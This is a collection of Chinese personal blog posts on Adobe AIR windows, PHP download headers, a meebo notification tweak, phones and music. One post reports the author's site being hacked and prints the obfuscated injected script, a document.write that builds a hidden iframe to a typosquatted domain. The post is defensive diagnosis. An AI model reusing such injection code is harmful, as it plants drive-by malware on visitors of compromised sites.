早就听说Adobe Air可以用HTML+Javascript的方式来开发,但是直到前不就才开始研究学习。做了几个air的小程序,其中遇到了很多困难。Air的资料网上比较少。所以遇到问题有时候真不知道怎么办。 其中一个问题是弹出提示窗口(屏幕右下角或者右上角那种提示性的临时窗口),不知道怎么调整大小和位置。找了好多资料,后来终于明白了。弹出窗口的代码如下:
var options = new air.NativeWindowInitOptions();
options.systemChrome = "none"; //取消系统窗口外框
options.type = "lightweight"; //轻量级窗口
options.transparent = true; //允许透明
var bounds = new air.Rectangle(100,200,100,100);
var newHTMLLoader = air.HTMLLoader.createRootWindow(true, options, true, bounds);
newHTMLLoader.load(new air.URLRequest("notify.html"));
newHTMLLoader.stage.nativeWindow.alwaysInFront = true; //窗口始终置顶
上面这段代码会在屏幕的左上方(x:100,y:200)创建一个宽高都是100px的HTML窗口,内容是notify.html。 其中,newHTMLLoader.window 可以访问到新建的窗口。可以预先定义一些函数,供窗口加载完后调用。比如:
newHTMLLoader.window.on_load = function()
{
alert('loaded!');
}
然后在notify.html页面里面写上 window.onload = on_load; 就可以了。 而控制窗口宽高、位置的对象是newHTMLLoader.stage.nativeWindow 。可以通过设置这个对象的 x,y,width,height(而不是我们通常认为的left,top,width,height)属性来改变窗口的长宽和位置。 在nofity.html里对应的对象是window.nativeWindow。 nativeWindow貌似是ActionScript里面的比较常用的东西。不过对我们这种没有研究过AS的人来说,不容易想到控制位置是用x和y,而不是left和top。。。。。。 下面说下开发AIR程序比开发WEB程序爽的地方:
在应用程序沙箱中的代码可以任意跨域访问!而且更爽的是AIR会自动保存和处理Cookie,也就是说我可以用AJAX来模拟登录,之后可以直接用AJAX取登录后才能取得的内容而不用担心Cookie!真是太神奇了!
AIR采用Webkit引擎,不用担心跨操作系统的兼容性。最多是字体显示稍微不同而已。而且可以使用大部分的JS框架,比如JQuery!
AIR支持部分CSS3! 其中比较爽的是可以很容易的实现圆角效果,颜色可以使用RGBA(第四个参数是透明度)。好处是我们可以很容易的制作一个背景半透明,但是内容不透明的圆角提示窗口~~(例如:-webkit-border-radius:5px; background-color:rgba(20%,20%,20%,0.8); )
支持JS进行文件读取等本地操作,支持本地SQL等。。
完。
阅读:7864
最近对Adobe 的Air技术非常感兴趣。 有了这种技术,我们以后就能很轻易的把B/S程序扩展到桌面,成为C/S程序!
下面是我的第一个AIR应用程序:空气域名查询。 “空气”二字源于 Air。 主要功能是快速查询某个域名是否被注册。
输入一串字符串,选中下面的后缀,程序会自动查询对应的域名。 当然你也可以自定义查询任意后缀,如果想这样,只需要输入完整的域名即可(当然,不包含www)。比如:当我输入longbill,并选中com,和net。那么程序会自动查询longbill.com和longbill.net。如果我输入longbill.la,那么程序只会查询longbill.la。
下面是截图:
此外,我还在尝试做一些附加功能,比如whois查询和域名收藏(方便以后从收藏的域名中找出最好的)。现在只实现了在新窗口种查询whois,实现方式也很机械:调用http://who.is/longbill.cn的网页内容。
如果你对此程序感兴趣,可以点击这里 下载。 不过,前提是你的电脑上有Adobe Air 运行环境。如果没有,你可以去这里 安装。
完。
阅读:4130
用Textmate已经有一年多了。但是一直以来都只是把它当作一个文本编辑器来用的。没有用什么高级功能。仅仅知道bundle可以实现代码补全。今天看到Textmate Bundle里面有一个TODO,很好奇。于是打开一看,有几个标签,但是没什么内容。我还以为是普通的todo list 。但是事实远不止如此。潜心研究了一番,甚至看了todo bundle的源代码。下面为大家介绍一下:
查看全文...
阅读:17437
过年的时候买的魅族M8 。玩了2个月,觉得不稳定,信号不好,经常漏电话。然后一次偶然机会入手Nokia E71。这可是我第一次买诺基亚的手机哦。。水货,带wifi ,gps, wcdma。
那时候联通3G正在商用,本来打算申请一个号试试的。结果哪知道联通把价格定那么高。最次的套餐都是93元/月。。。。就算了。。只有等了!
不过E71真的挺不错的。主要是稳定,操作流畅,软件多。
暑假完了,开学,电信的天翼进校园。那资费,看着就爽啊,大概是:19元月租(包40分市话,30M流量,300条短信),然后在学校里面打市话是0.08元每分。 如果寝室是包月上网,每月还要返一半的网费成话费。。。。天哪。跟联通比,简直太划算了。。于是,果断卖掉E71,在淘宝入手一台HKC mythos(神话)。刚好2K。 配置超高,wifi gps evdo一应俱全。。
于是,哥们终于在经过了数年的漫长等待后用上了日思夜想的速度超快资费便宜信号超好的3G网络。
晕,怎么觉得自己在给电信打广告。。不过我觉得电信天翼真的不错,覆盖很广。 不过可能是因为3G网络才建好,客服方面经常出问题。 有时查不到话费。。。。
完。
阅读:3362
Taylor Swift 和 Coldplay 都是我非常崇拜的歌手和乐队。都是可以堪称天才的人物。Taylor的Love Story我尤其喜欢,那种Country + pop的风格感觉很爽,外加Taylor的美丽的声音和外表~ 。。。Coldplay 就不说了,如果你不知道他们,那我也无话可说。。 昨天在校内上看到有人分享钢琴家Jon Schmidt与大提琴家Steven Sharp Nelson改编的一首曲子,融合了Taylor Swift 的Love Story 和 Coldplay 的 Viva la vida,听了之后非常有感觉,于是贴出来分享一下。
再贴出出处1:Taylor Swift Love Story
查看全文...
阅读:4121
做文件管理器的时候会遇到让PHP输出一个文件给浏览器下载。我们都知道要发一下一些header:
$filename = "下载文件名";
$filesize = filesize('文件地址'); //获得文件大小
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: application/force-download');
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
然后再用readfile把文件内容输出给浏览器。但是会遇到一个很烦的问题:弹出文件下载框时,显示的文件名在不同的浏览器下面是不一样的。有的是乱码,有的是空白。 为了解决这个问题,我找了查了很多资料。最终找到一个好的解决办法:
文件名统一使用utf-8编码,然后针对ie浏览器进行一次rawurlencode编码。
比如:
if (preg_match('/MSIE/',$_SERVER['HTTP_USER_AGENT'])) $filename = rawurlencode($filename);
这样在不同操作系统,不同浏览器里面,下载文件的时候,中文文件名都能正确显示了。
测试通过:Safari4(MAC) ,Firefox3.5(MAC), Firefox3(Win), IE7/8(Win), Chrome(Win)
完。
阅读:5703
跟淡淡风很早就认识。这次他开始弄cmstop,正好我是暑假,他就叫我过来了。现在在北京,刚搬进新写字楼,环境不错。这边也有很多高手,要多多向他们学习。
印象最深的是比我小的陶秋丰(
EndTo )。做站高手,SEO高手。还出了本书的:《年入10万--17岁草根少年的网赚实战》~~以后要多像他学习SEO才是。。
每周有一天休息。正好我可以逛逛北京~。北京给我的第一印象就是很大。成都才只有4环,我都觉得太大了,北京都6环了。。。。还好有地铁,挺快的。
有邮箱了:liuchunlong@cmstop.com
完。
阅读:4601
最近莫名其妙的博客打不开,一查,发现用作跳转的index.php被加了东西。是一个iframe的马。那段php代码还有错误,汗~~所以造成无法跳转。后来经过调查,发现这个马的一些特征:
一般感染只感染 index.php , main.php, login.php, index.html。
核心代码类似:
<script>document.write("<"+'if'+''+'ra'+''+"me"+' sr'+"c=\"ht"+'t'+"p:"+''+"/"+''+'/mic'+"roso"+"tf"+''+'.c'+''+"n"+'/'+"\" wid"+''+"th=1 h"+"eigh"+''+'t'+"="+"2></i"+''+"fr"+"a"+''+""+''+"me"+'>');</script><script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>
可以看到iframe的页面指向 microsotf.cn (不用惊恐,不是microsoft~~)。Google这个网页,发现这个网页是俄罗斯的。报告有2个病毒。现在已经无法访问了。
现在一时也查不到中招的原因。只有写个脚本修复被修改的文件吧。。。
完。
阅读:3240
首先对google被墙深表遗憾!
随着google被墙,google talk受到影响,以至于无法使用gtalk客户端登录。google talk对于我这种人来说是必不可少的。于是尝试使用第三方网页聊天系统 meebo。(
www.meebo.com )
由于是网页聊天系统,在消息提醒方面肯定没有桌面软件爽,于是尝试使用Firefox的用户脚本管理插件Greasemonkey自己写了一个脚本,来提醒有时候忽视的消息。大概方法是监视窗口的标题(document.title)的变化,如果持续变化30秒,那么就弹出一个alert窗口提示一下。
后来发现原来meebo本身专门有一个firefox的消息提醒插件。晕~在那白费了那么多力气~~。
不过在后来的使用中发现meebo的消息提醒只能显示3秒钟,这也太快了吧,要是3秒钟之内没看到就麻烦了。。。不过幸好这是Firefox的插件,可以自己动手修改的。在系统里面找了一下,找到了插件安装的位置。打开配置文件,修改3000为30000,这样消息提醒就变成30秒了。哈哈。。哦,对了,具体的配置文件在(Mac Leopard 10.5):
/Users/{用户名}/Library/Application\ Support/Firefox/Profiles/z7yblz0u.default/extensions/
firefox\@meebo.com/defaults/preferences/meebo.js
(苹果系统,其他的系统位置大概差不多吧,貌似记得windows是在C:\Documents and Settings\{用户名}\Application Data\Mozilla\Firefox\下)。
修改meebo.notify-pause-time的值,原来应该是3000,表示3000毫秒。想要多少随意改。
改完了保存,重启Firefox。OK~Perfect~
其实meebo是一个非常强大的网页整合聊天系统,除了支持gtalk外,还支持其他40多种聊天协议,比如Facebook ,MSN,My Space, Jabber, AIM, ICQ等等。而且不仅仅是文字聊天,还支持网页视频聊天,文件传送等等众多强大的功能。 哇~现在发现meebo果然强大。
完。
阅读:9372
最近也不知道什么原因,暴喜欢听卡农。喜欢一个人迷失在卡农螺旋的阶梯上,拥抱那渗入骨子中的美。
关于卡农还有个传说:
Pachelbel在他10几岁的时候,流浪到英国被英国一个小村庄的琴师收养,之后他天天听那个他弹琴,也学会了钢琴。 在他们旁边的镇上上有一个女孩子叫Barbara Gabler,家里有钱有势,Barbara Gabler也是镇上最漂亮的女孩,自从到教堂听Pachelbel弹的曲子,就爱上了他。
很多有钱人上门向Barbara Gabler提亲都被拒绝了,因为Barbara Gabler心里只喜欢Pachelbel。但女孩比较害羞,从小被宠到大的Barbara Gabler一直不敢向Pachelbel表白,后来Barbara Gabler就找了个理由,说要去Pachelbel那里学钢琴,她对Pachelbel说自己热爱音乐,希望可以拜师学艺。Pachelbel很高兴的收下了这个徒弟。
查看全文...
阅读:4390